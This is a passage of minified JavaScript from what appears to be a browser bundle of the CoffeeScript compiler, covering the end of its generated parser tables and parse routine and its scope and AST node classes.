O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(Rt,[2,129]),{6:un,25:an,26:[1,329]},t(zt,[2,149],{118:69,109:89,115:90,110:L,112:A,116:M,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(zt,[2,151],{118:69,109:89,115:90,110:L,112:A,116:M,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(zt,[2,162],{118:69,109:89,115:90,110:L,112:A,116:M,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(Wt,[2,171]),{7:330,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{7:331,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{7:332,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(It,[2,94]),{10:178,27:179,28:r,29:180,30:i,31:72,32:s,33:o,47:333,48:177,50:181,52:v,95:dt},t(pn,Tt,{31:72,47:176,48:177,10:178,27:179,29:180,50:181,83:334,28:r,30:i,32:s,33:o,52:v,95:dt}),t($t,[2,97]),t($t,[2,43],{118:69,109:89,115:90,110:L,112:A,116:M,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),{7:335,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{79:[2,124],109:89,110:L,112:A,115:90,116:M,118:69,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y},t(et,[2,41]),t(At,[2,115]),t(et,[2,52]),t(_t,[2,61]),t(Yt,Ot,{59:336,60:Mt}),t(et,[2,214]),t(fn,[2,188]),t(et,[2,141]),t(dn,[2,142]),t(dn,[2,143]),t(et,[2,179]),{24:337,25:mt},{26:[1,338]},t(rn,[2,185],{6:[1,339]}),{7:340,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},t(et,[2,107]),t(ft,[2,147]),t(ft,[2,123]),t(Rt,[2,130]),t(Yt,Ot,{59:341,60:qt}),t(Rt,[2,131]),t([1,6,25,26,34,55,60,63,79,84,92,97,99,108,110,111,112,116,132],[2,174],{118:69,109:89,115:90,117:[1,342],135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(ln,[2,176],{118:69,109:89,115:90,111:[1,343],135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(Ht,[2,175],{118:69,109:89,115:90,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t($t,[2,98]),t(Yt,Ot,{59:344,60:Vt}),{26:[1,345],109:89,110:L,112:A,115:90,116:M,118:69,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y},{6:en,25:tn,26:[1,346]},{26:[1,347]},t(et,[2,182]),t(rn,[2,186]),t(vn,[2,137],{118:69,109:89,115:90,110:L,112:A,116:M,132:z,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),{6:un,25:an,26:[1,348]},{7:349,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{7:350,8:122,9:18,10:19,11:n,12:6,13:7,14:8,15:9,16:10,17:11,18:12,19:13,20:14,21:15,22:16,23:17,27:62,28:r,29:49,30:i,31:72,32:s,33:o,35:51,36:u,37:a,39:22,40:f,41:l,42:c,43:h,44:p,45:21,50:63,51:d,52:v,53:m,56:28,57:g,58:y,64:47,65:48,67:36,69:23,70:24,71:25,82:b,85:w,89:E,94:S,95:x,96:T,102:N,106:C,107:k,109:39,110:L,112:A,113:40,114:O,115:41,116:M,118:69,125:_,130:37,131:D,133:P,134:H,135:B,136:j,137:F,139:I,140:q},{6:cn,25:hn,26:[1,351]},t($t,[2,44]),t(_t,[2,62]),t(et,[2,180]),t(Rt,[2,132]),t(Ht,[2,177],{118:69,109:89,115:90,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t(Ht,[2,178],{118:69,109:89,115:90,135:W,136:X,141:V,142:$,143:J,144:K,145:Q,146:G,147:Y}),t($t,[2,99])],defaultActions:{60:[2,54],61:[2,55],96:[2,113],203:[2,93]},parseError:function(e,t){if(!t.recoverable)throw Error(e);this.trace(e)},parse:function(e){function t(){var e;return e=d.lex()||h,\"number\"!=typeof e&&(e=n.symbols_[e]||e),e}var n=this,r=[0],i=[null],s=[],o=this.table,u=\"\",a=0,f=0,l=0,c=2,h=1,p=s.slice.call(arguments,1),d=Object.create(this.lexer),v={yy:{}};for(var m in this.yy)Object.prototype.hasOwnProperty.call(this.yy,m)&&(v.yy[m]=this.yy[m]);d.setInput(e,v.yy),v.yy.lexer=d,v.yy.parser=this,d.yylloc===void 0&&(d.yylloc={});var g=d.yylloc;s.push(g);var y=d.options&&d.options.ranges;this.parseError=\"function\"==typeof v.yy.parseError?v.yy.parseError:Object.getPrototypeOf(this).parseError;for(var b,w,E,S,x,T,N,C,k,L={};;){if(E=r[r.length-1],this.defaultActions[E]?S=this.defaultActions[E]:((null===b||b===void 0)&&(b=t()),S=o[E]&&o[E][b]),S===void 0||!S.length||!S[0]){var A=\"\";k=[];for(T in o[E])this.terminals_[T]&&T>c&&k.push(\"'\"+this.terminals_[T]+\"'\");A=d.showPosition?\"Parse error on line \"+(a+1)+\":\\n\"+d.showPosition()+\"\\nExpecting \"+k.join(\", \")+\", got '\"+(this.terminals_[b]||b)+\"'\":\"Parse error on line \"+(a+1)+\": Unexpected \"+(b==h?\"end of input\":\"'\"+(this.terminals_[b]||b)+\"'\"),this.parseError(A,{text:d.match,token:this.terminals_[b]||b,line:d.yylineno,loc:g,expected:k})}if(S[0]instanceof Array&&S.length>1)throw Error(\"Parse Error: multiple actions possible at state: \"+E+\", token: \"+b);switch(S[0]){case 1:r.push(b),i.push(d.yytext),s.push(d.yylloc),r.push(S[1]),b=null,w?(b=w,w=null):(f=d.yyleng,u=d.yytext,a=d.yylineno,g=d.yylloc,l>0&&l--);break;case 2:if(N=this.productions_[S[1]][1],L.$=i[i.length-N],L._$={first_line:s[s.length-(N||1)].first_line,last_line:s[s.length-1].last_line,first_column:s[s.length-(N||1)].first_column,last_column:s[s.length-1].last_column},y&&(L._$.range=[s[s.length-(N||1)].range[0],s[s.length-1].range[1]]),x=this.performAction.apply(L,[u,f,a,v.yy,S[1],i,s].concat(p)),x!==void 0)return x;N&&(r=r.slice(0,-2*N),i=i.slice(0,-1*N),s=s.slice(0,-1*N)),r.push(this.productions_[S[1]][0]),i.push(L.$),s.push(L._$),C=o[r[r.length-2]][r[r.length-1]],r.push(C);break;case 3:return!0}}return!0}};return e.prototype=mn,mn.Parser=e,new e}();return _dereq_!==void 0&&e!==void 0&&(e.parser=n,e.Parser=n.Parser,e.parse=function(){return n.parse.apply(n,arguments)},e.main=function(t){t[1]||(console.log(\"Usage: \"+t[0]+\" FILE\"),process.exit(1));var n=_dereq_(\"fs\").readFileSync(_dereq_(\"path\").normalize(t[1]),\"utf8\");return e.parser.parse(n)},t!==void 0&&_dereq_.main===t&&e.main(process.argv.slice(1))),t.exports}(),_dereq_[\"./scope\"]=function(){var e={},t={exports:e};return function(){var t,n=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1};e.Scope=t=function(){function e(e,t,n,r){var i,s;this.parent=e,this.expressions=t,this.method=n,this.referencedVars=r,this.variables=[{name:\"arguments\",type:\"arguments\"}],this.positions={},this.parent||(this.utilities={}),this.root=null!=(i=null!=(s=this.parent)?s.root:void 0)?i:this}return e.prototype.add=function(e,t,n){return this.shared&&!n?this.parent.add(e,t,n):Object.prototype.hasOwnProperty.call(this.positions,e)?this.variables[this.positions[e]].type=t:this.positions[e]=this.variables.push({name:e,type:t})-1},e.prototype.namedMethod=function(){var e;return(null!=(e=this.method)?e.name:void 0)||!this.parent?this.method:this.parent.namedMethod()},e.prototype.find=function(e){return this.check(e)?!0:(this.add(e,\"var\"),!1)},e.prototype.parameter=function(e){return this.shared&&this.parent.check(e,!0)?void 0:this.add(e,\"param\")},e.prototype.check=function(e){var t;return!!(this.type(e)||(null!=(t=this.parent)?t.check(e):void 0))},e.prototype.temporary=function(e,t,n){return null==n&&(n=!1),n?(t+parseInt(e,36)).toString(36).replace(/\\d/g,\"a\"):e+(t||\"\")},e.prototype.type=function(e){var t,n,r,i;for(r=this.variables,t=0,n=r.length;n>t;t++)if(i=r[t],i.name===e)return i.type;return null},e.prototype.freeVariable=function(e,t){var r,i,s;for(null==t&&(t={}),r=0;;){if(s=this.temporary(e,r,t.single),!(this.check(s)||n.call(this.root.referencedVars,s)>=0))break;r++}return(null!=(i=t.reserve)?i:!0)&&this.add(s,\"var\",!0),s},e.prototype.assign=function(e,t){return this.add(e,{value:t,assigned:!0},!0),this.hasAssignments=!0},e.prototype.hasDeclarations=function(){return!!this.declaredVariables().length},e.prototype.declaredVariables=function(){var e;return function(){var t,n,r,i;for(r=this.variables,i=[],t=0,n=r.length;n>t;t++)e=r[t],\"var\"===e.type&&i.push(e.name);return i}.call(this).sort()},e.prototype.assignedVariables=function(){var e,t,n,r,i;for(n=this.variables,r=[],e=0,t=n.length;t>e;e++)i=n[e],i.type.assigned&&r.push(i.name+\" = \"+i.type.value);return r},e}()}.call(this),t.exports}(),_dereq_[\"./nodes\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w,E,S,x,T,N,C,k,L,A,O,M,_,D,P,H,B,j,F,I,q,R,U,z,W,X,V,$,J,K,Q,G,Y,Z,et,tt,nt,rt,it,st,ot,ut,at,ft,lt,ct,ht,pt,dt,vt,mt,gt,yt,bt,wt=function(e,t){function n(){this.constructor=e}for(var r in t)Et.call(t,r)&&(e[r]=t[r]);return n.prototype=t.prototype,e.prototype=new n,e.__super__=t.prototype,e},Et={}.hasOwnProperty,St=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1},xt=[].slice;Error.stackTraceLimit=1/0,R=_dereq_(\"./scope\").Scope,pt=_dereq_(\"./lexer\"),B=pt.RESERVED,q=pt.STRICT_PROSCRIBED,dt=_dereq_(\"./helpers\"),et=dt.compact,it=dt.flatten,rt=dt.extend,lt=dt.merge,tt=dt.del,mt=dt.starts,nt=dt.ends,vt=dt.some,Z=dt.addLocationDataFn,ft=dt.locationDataToString,gt=dt.throwSyntaxError,e.extend=rt,e.addLocationDataFn=Z,Y=function(){return!0},O=function(){return!1},V=function(){return this},A=function(){return this.negated=!this.negated,this},e.CodeFragment=f=function(){function e(e,t){var n;this.code=\"\"+t,this.locationData=null!=e?e.locationData:void 0,this.type=(null!=e?null!=(n=e.constructor)?n.name:void 0:void 0)||\"unknown\"}return e.prototype.toString=function(){return\"\"+this.code+(this.locationData?\": \"+ft(this.locationData):\"\")},e}(),st=function(e){var t;return function(){var n,r,i;for(i=[],n=0,r=e.length;r>n;n++)t=e[n],i.push(t.code);return i}().join(\"\")},e.Base=i=function(){function e(){}return e.prototype.compile=function(e,t){return st(this.compileToFragments(e,t))},e.prototype.compileToFragments=function(e,t){var n;return e=rt({},e),t&&(e.level=t),n=this.unfoldSoak(e)||this,n.tab=e.indent,e.level!==k&&n.isStatement(e)?n.compileClosure(e):n.compileNode(e)},e.prototype.compileClosure=function(e){var n,r,i,u,f,l,c;return(u=this.jumps())&&u.error(\"cannot use a pure statement in an expression\"),e.sharedScope=!0,i=new a([],s.wrap([this])),n=[],((r=this.contains(ut))||this.contains(at))&&(n=[new L(\"this\")],r?(f=\"apply\",n.push(new L(\"arguments\"))):f=\"call\",i=new Q(i,[new t(new L(f))])),l=(new o(i,n)).compileNode(e),(i.isGenerator||(null!=(c=i.base)?c.isGenerator:void 0))&&(l.unshift(this.makeCode(\"(yield* \")),l.push(this.makeCode(\")\"))),l},e.prototype.cache=function(e,t,n){var i,s,o;return i=null!=n?n(this):this.isComplex(),i?(s=new L(e.scope.freeVariable(\"ref\")),o=new r(s,this),t?[o.compileToFragments(e,t),[this.makeCode(s.value)]]:[o,s]):(s=t?this.compileToFragments(e,t):this,[s,s])},e.prototype.cacheToCodeFragments=function(e){return[st(e[0]),st(e[1])]},e.prototype.makeReturn=function(e){var t;return t=this.unwrapAll(),e?new o(new L(e+\".push\"),[t]):new F(t)},e.prototype.contains=function(e){var t;return t=void 0,this.traverseChildren(!1,function(n){return e(n)?(t=n,!1):void 0}),t},e.prototype.lastNonComment=function(e){var t;for(t=e.length;t--;)if(!(e[t]instanceof l))return e[t];return null},e.prototype.toString=function(e,t){var n;return null==e&&(e=\"\"),null==t&&(t=this.constructor.name),n=\"\\n\"+e+t,this.soak&&(n+=\"?\"),this.eachChild(function(t){return n+=t.toString(e+X)}),n},e.prototype.eachChild=function(e){var t,n,r,i,s,o,u,a;if(!this.children)return this;for(u=this.children,r=0,s=u.length;s>r;r++)if(t=u[r],this[t])for(a=it([this[t]]),i=0,o=a.length;o>i;i++)if(n=a[i],e(n)===!1)return this;return this},e.prototype.traverseChildren=function(e,t){return this.eachChild(function(n){var r;return r=t(n),r!==!1?n.traverseChildren(e,t):void 0})},e.prototype.invert=function(){return new D(\"!\",this)},e.prototype.unwrapAll=function(){var e;for(e=this;e!==(e=e.unwrap()););return e},e.prototype.children=[],e.prototype.isStatement=O,e.prototype.jumps=O,e.prototype.isComplex=Y,e.prototype.isChainable=O,e.prototype.isAssignable=O,e.prototype.unwrap=V,e.prototype.unfoldSoak=O,e.prototype.assigns=O,e.prototype.updateLocationDataIfMissing=function(e){return this.locationData?this:(this.locationData=e,this.eachChild(function(t){return t.updateLocationDataIfMissing(e)}))},e.prototype.error=function(e){return gt(e,this.locationData)},e.prototype.makeCode=function(e){return new f(this,e)},e.prototype.wrapInBraces=function(e){return[].concat(this.makeCode(\"(\"),e,this.makeCode(\")\"))},e.prototype.joinFragmentArrays=function(e,t){var n,r,i,s,o;for(n=[],i=s=0,o=e.length;o>s;i=++s)r=e[i],i&&n.push(this.makeCode(t)),n=n.concat(r);return n},e}(),e.Block=s=function(e){function t(e){this.expressions=et(it(e||[]))}return wt(t,e),t.prototype.children=[\"expressions\"],t.prototype.push=function(e){return this.expressions.push(e),this},t.prototype.pop=function(){return this.expressions.pop()},t.prototype.unshift=function(e){return this.expressions.unshift(e),this},t.prototype.unwrap=function(){return 1===this.expressions.length?this.expressions[0]:this},t.prototype.isEmpty=function(){return!this.expressions.length},t.prototype.isStatement=function(e){var t,n,r,i;for(i=this.expressions,n=0,r=i.length;r>n;n++)if(t=i[n],t.isStatement(e))return!0;return!1},t.prototype.jumps=function(e){var t,n,r,i,s;for(s=this.expressions,n=0,i=s.length;i>n;n++)if(t=s[n],r=t.jumps(e))return r},t.prototype.makeReturn=function(e){var t,n;for(n=this.expressions.length;n--;)if(t=this.expressions[n],!(t instanceof l)){this.expressions[n]=t.makeReturn(e),t instanceof F&&!t.expression&&this.expressions.splice(n,1);break}return this},t.prototype.compileToFragments=function(e,n){return null==e&&(e={}),e.scope?t.__super__.compileToFragments.call(this,e,n):this.compileRoot(e)},t.prototype.compileNode=function(e){var n,r,i,s,o,u,a,f,l;for(this.tab=e.indent,l=e.level===k,r=[],f=this.expressions,s=o=0,u=f.length;u>o;s=++o)a=f[s],a=a.unwrapAll(),a=a.unfoldSoak(e)||a,a instanceof t?r.push(a.compileNode(e)):l?(a.front=!0,i=a.compileToFragments(e),a.isStatement(e)||(i.unshift(this.makeCode(\"\"+this.tab)),i.push(this.makeCode(\";\"))),r.push(i)):r.push(a.compileToFragments(e,T));return l?this.spaced?[].concat(this.joinFragmentArrays(r,\"\\n\\n\"),this.makeCode(\"\\n\")):this.joinFragmentArrays(r,\"\\n\"):(n=r.length?this.joinFragmentArrays(r,\", \"):[this.makeCode(\"void 0\")],r.length>1&&e.level>=T?this.wrapInBraces(n):n)},t.prototype.compileRoot=function(e){var t,n,r,i,s,o,u,a,f,c,h;for(e.indent=e.bare?\"\":X,e.level=k,this.spaced=!0,e.scope=new R(null,this,null,null!=(f=e.referencedVars)?f:[]),c=e.locals||[],i=0,s=c.length;s>i;i++)o=c[i],e.scope.parameter(o);return u=[],e.bare||(a=function(){var e,n,i,s;for(i=this.expressions,s=[],r=e=0,n=i.length;n>e&&(t=i[r],t.unwrap()instanceof l);r=++e)s.push(t);return s}.call(this),h=this.expressions.slice(a.length),this.expressions=a,a.length&&(u=this.compileNode(lt(e,{indent:\"\"})),u.push(this.makeCode(\"\\n\"))),this.expressions=h),n=this.compileWithDeclarations(e),e.bare?n:[].concat(u,this.makeCode(\"(function() {\\n\"),n,this.makeCode(\"\\n}).call(this);\\n\"))},t.prototype.compileWithDeclarations=function(e){var t,n,r,i,s,o,u,a,f,c,h,p,d,v;for(i=[],a=[],f=this.expressions,s=o=0,u=f.length;u>o&&(r=f[s],r=r.unwrap(),r instanceof l||r instanceof L);s=++o);return e=lt(e,{level:k}),s&&(p=this.expressions.splice(s,9e9),c=[this.spaced,!1],v=c[0],this.spaced=c[1],h=[this.compileNode(e),v],i=h[0],this.spaced=h[1],this.expressions=p),a=this.compileNode(e),d=e.scope,d.expressions===this&&(n=e.scope.hasDeclarations(),t=d.hasAssignments,n||t?(s&&i.push(this.makeCode(\"\\n\")),i.push(this.makeCode(this.tab+\"var \")),n&&i.push(this.makeCode(d.declaredVariables().join(\", \"))),t&&(n&&i.push(this.makeCode(\",\\n\"+(this.tab+X))),i.push(this.makeCode(d.assignedVariables().join(\",\\n\"+(this.tab+X))))),i.push(this.makeCode(\";\\n\"+(this.spaced?\"\\n\":\"\")))):i.length&&a.length&&i.push(this.makeCode(\"\\n\"))),i.concat(a)},t.wrap=function(e){return 1===e.length&&e[0]instanceof t?e[0]:new t(e)},t}(i),e.Literal=L=function(e){function t(e){this.value=e}return wt(t,e),t.prototype.makeReturn=function(){return this.isStatement()?this:t.__super__.makeReturn.apply(this,arguments)},t.prototype.isAssignable=function(){return m.test(this.value)},t.prototype.isStatement=function(){var e;return\"break\"===(e=this.value)||\"continue\"===e||\"debugger\"===e},t.prototype.isComplex=O,t.prototype.assigns=function(e){return e===this.value},t.prototype.jumps=function(e){return\"break\"!==this.value||(null!=e?e.loop:void 0)||(null!=e?e.block:void 0)?\"continue\"!==this.value||(null!=e?e.loop:void 0)?void 0:this:this},t.prototype.compileNode=function(e){var t,n,r;return n=\"this\"===this.value?(null!=(r=e.scope.method)?r.bound:void 0)?e.scope.method.context:this.value:this.value.reserved?'\"'+this.value+'\"':this.value,t=this.isStatement()?\"\"+this.tab+n+\";\":n,[this.makeCode(t)]},t.prototype.toString=function(){return' \"'+this.value+'\"'},t}(i),e.Undefined=function(e){function t(){return t.__super__.constructor.apply(this,arguments)}return wt(t,e),t.prototype.isAssignable=O,t.prototype.isComplex=O,t.prototype.compileNode=function(e){return[this.makeCode(e.level>=S?\"(void 0)\":\"void 0\")]},t}(i),e.Null=function(e){function t(){return t.__super__.constructor.apply(this,arguments)}return wt(t,e),t.prototype.isAssignable=O,t.prototype.isComplex=O,t.prototype.compileNode=function(){return[this.makeCode(\"null\")]},t}(i),e.Bool=function(e){function t(e){this.val=e}return wt(t,e),t.prototype.isAssignable=O,t.prototype.isComplex=O,t.prototype.compileNode=function(){return[this.makeCode(this.val)]},t}(i),e.Return=F=function(e){function t(e){this.expression=e}return wt(t,e),t.prototype.children=[\"expression\"],t.prototype.isStatement=Y,t.prototype.makeReturn=V,t.prototype.jumps=V,t.prototype.compileToFragments=function(e,n){var r,i;return r=null!=(i=this.expression)?i.makeReturn():void 0,!r||r instanceof t?t.__super__.compileToFragments.call(this,e,n):r.compileToFragments(e,n)},t.prototype.compileNode=function(e){var t,n,r;return t=[],n=null!=(r=this.expression)?\"function\"==typeof r.isYieldReturn?r.isYieldReturn():void 0:void 0,n||t.push(this.makeCode(this.tab+(\"return\"+(this.expression?\" \":\"\")))),this.expression&&(t=t.concat(this.expression.compileToFragments(e,C))),n||t.push(this.makeCode(\";\")),t},t}(i),e.Value=Q=function(e){function t(e,n,r){return!n&&e instanceof t?e:(this.base=e,this.properties=n||[],r&&(this[r]=!0),this)}return wt(t,e),t.prototype.children=[\"base\",\"properties\"],t.prototype.add=function(e){return this.properties=this.properties.concat(e),this},t.prototype.hasProperties=function(){return!!this.properties.length},t.prototype.bareLiteral=function(e){return!this.properties.length&&this.base instanceof e},t.prototype.isArray=function(){return this.bareLiteral(n)},t.prototype.isRange=function(){return this.bareLiteral(j)},t.prototype.isComplex=function(){return this.hasProperties()||this.base.isComplex()},t.prototype.isAssignable=function(){return this.hasProperties()||this.base.isAssignable()},t.prototype.isSimpleNumber=function(){return this.bareLiteral(L)&&I.test(this.base.value)},t.prototype.isString=function(){return this.bareLiteral(L)&&y.test(this.base.value)},t.prototype.isRegex=function(){return this.bareLiteral(L)&&g.test(this.base.value)},t.prototype.isAtomic=function(){var e,t,n,r;for(r=this.properties.concat(this.base),e=0,t=r.length;t>e;e++)if(n=r[e],n.soak||n instanceof o)return!1;return!0},t.prototype.isNotCallable=function(){return this.isSimpleNumber()||this.isString()||this.isRegex()||this.isArray()||this.isRange()||this.isSplice()||this.isObject()},t.prototype.isStatement=function(e){return!this.properties.length&&this.base.isStatement(e)},t.prototype.assigns=function(e){return!this.properties.length&&this.base.assigns(e)},t.prototype.jumps=function(e){return!this.properties.length&&this.base.jumps(e)},t.prototype.isObject=function(e){return this.properties.length?!1:this.base instanceof _&&(!e||this.base.generated)},t.prototype.isSplice=function(){var e,t;return t=this.properties,e=t[t.length-1],e instanceof U},t.prototype.looksStatic=function(e){var t;return this.base.value===e&&1===this.properties.length&&\"prototype\"!==(null!=(t=this.properties[0].name)?t.value:void 0)},t.prototype.unwrap=function(){return this.properties.length?this:this.base},t.prototype.cacheReference=function(e){var n,i,s,o,u;return u=this.properties,s=u[u.length-1],2>this.properties.length&&!this.base.isComplex()&&(null!=s?!s.isComplex():!void 0)?[this,this]:(n=new t(this.base,this.properties.slice(0,-1)),n.isComplex()&&(i=new L(e.scope.freeVariable(\"base\")),n=new t(new H(new r(i,n)))),s?(s.isComplex()&&(o=new L(e.scope.freeVariable(\"name\")),s=new E(new r(o,s.index)),o=new E(o)),[n.add(s),new t(i||n.base,[o||s])]):[n,i])},t.prototype.compileNode=function(e){var t,n,r,i,s;for(this.base.front=this.front,s=this.properties,t=this.base.compileToFragments(e,s.length?S:null),(this.base instanceof H||s.length)&&I.test(st(t))&&t.push(this.makeCode(\".\")),n=0,r=s.length;r>n;n++)i=s[n],t.push.apply(t,i.compileToFragments(e));return t},t.prototype.unfoldSoak=function(e){return null!=this.unfoldedSoak?this.unfoldedSoak:this.unfoldedSoak=function(n){return function(){var i,s,o,u,a,f,l,h,p,d;if(o=n.base.unfoldSoak(e))return(h=o.body.properties).push.apply(h,n.properties),o;for(p=n.properties,s=u=0,a=p.length;a>u;s=++u)if(f=p[s],f.soak)return f.soak=!1,i=new t(n.base,n.properties.slice(0,s)),d=new t(n.base,n.properties.slice(s)),i.isComplex()&&(l=new L(e.scope.freeVariable(\"ref\")),i=new H(new r(l,i)),d.base=l),new b(new c(i),d,{soak:!0});return!1}}(this)()},t}(i),e.Comment=l=function(e){function t(e){this.comment=e}return wt(t,e),t.prototype.isStatement=Y,t.prototype.makeReturn=V,t.prototype.compileNode=function(e,t){var n,r;return r=this.comment.replace(/^(\\s*)#(?=\\s)/gm,\"$1 *\"),n=\"/*\"+ct(r,this.tab)+(St.call(r,\"\\n\")>=0?\"\\n\"+this.tab:\"\")+\" */\",(t||e.level)===k&&(n=e.indent+n),[this.makeCode(\"\\n\"),this.makeCode(n)]},t}(i),e.Call=o=function(e){function n(e,t,n){this.args=null!=t?t:[],this.soak=n,this.isNew=!1,this.isSuper=\"super\"===e,this.variable=this.isSuper?null:e,e instanceof Q&&e.isNotCallable()&&e.error(\"literal is not a function\")}return wt(n,e),n.prototype.children=[\"variable\",\"args\"],n.prototype.newInstance=function(){var e,t;return e=(null!=(t=this.variable)?t.base:void 0)||this.variable,e instanceof n&&!e.isNew?e.newInstance():this.isNew=!0,this},n.prototype.superReference=function(e){var n,i,s,o,u,a,f,l;return u=e.scope.namedMethod(),(null!=u?u.klass:void 0)?(o=u.klass,a=u.name,l=u.variable,o.isComplex()&&(s=new L(e.scope.parent.freeVariable(\"base\")),i=new Q(new H(new r(s,o))),l.base=i,l.properties.splice(0,o.properties.length)),(a.isComplex()||a instanceof E&&a.index.isAssignable())&&(f=new L(e.scope.parent.freeVariable(\"name\")),a=new E(new r(f,a.index)),l.properties.pop(),l.properties.push(a)),n=[new t(new L(\"__super__\"))],u[\"static\"]&&n.push(new t(new L(\"constructor\"))),n.push(null!=f?new E(f):a),(new Q(null!=s?s:o,n)).compile(e)):(null!=u?u.ctor:void 0)?u.name+\".__super__.constructor\":this.error(\"cannot call super outside of an instance method.\")},n.prototype.superThis=function(e){var t;return t=e.scope.method,t&&!t.klass&&t.context||\"this\"},n.prototype.unfoldSoak=function(e){var t,r,i,s,o,u,a,f,l;if(this.soak){if(this.variable){if(r=yt(e,this,\"variable\"))return r;a=(new Q(this.variable)).cacheReference(e),s=a[0],l=a[1]}else s=new L(this.superReference(e)),l=new Q(s);return l=new n(l,this.args),l.isNew=this.isNew,s=new L(\"typeof \"+s.compile(e)+' === \"function\"'),new b(s,new Q(l),{soak:!0})}for(t=this,u=[];;)if(t.variable instanceof n)u.push(t),t=t.variable;else{if(!(t.variable instanceof Q))break;if(u.push(t),!((t=t.variable.base)instanceof n))break}for(f=u.reverse(),i=0,o=f.length;o>i;i++)t=f[i],r&&(t.variable instanceof n?t.variable=r:t.variable.base=r),r=yt(e,t,\"variable\");return r},n.prototype.compileNode=function(e){var t,n,r,i,s,o,u,a,f,l;if(null!=(f=this.variable)&&(f.front=this.front),i=z.compileSplattedArray(e,this.args,!0),i.length)return this.compileSplat(e,i);for(r=[],l=this.args,n=o=0,u=l.length;u>o;n=++o)t=l[n],n&&r.push(this.makeCode(\", \")),r.push.apply(r,t.compileToFragments(e,T));return s=[],this.isSuper?(a=this.superReference(e)+(\".call(\"+this.superThis(e)),r.length&&(a+=\", \"),s.push(this.makeCode(a))):(this.isNew&&s.push(this.makeCode(\"new \")),s.push.apply(s,this.variable.compileToFragments(e,S)),s.push(this.makeCode(\"(\"))),s.push.apply(s,r),s.push(this.makeCode(\")\")),s},n.prototype.compileSplat=function(e,t){var n,r,i,s,o,u;return this.isSuper?[].concat(this.makeCode(this.superReference(e)+\".apply(\"+this.superThis(e)+\", \"),t,this.makeCode(\")\")):this.isNew?(s=this.tab+X,[].concat(this.makeCode(\"(function(func, args, ctor) {\\n\"+s+\"ctor.prototype = 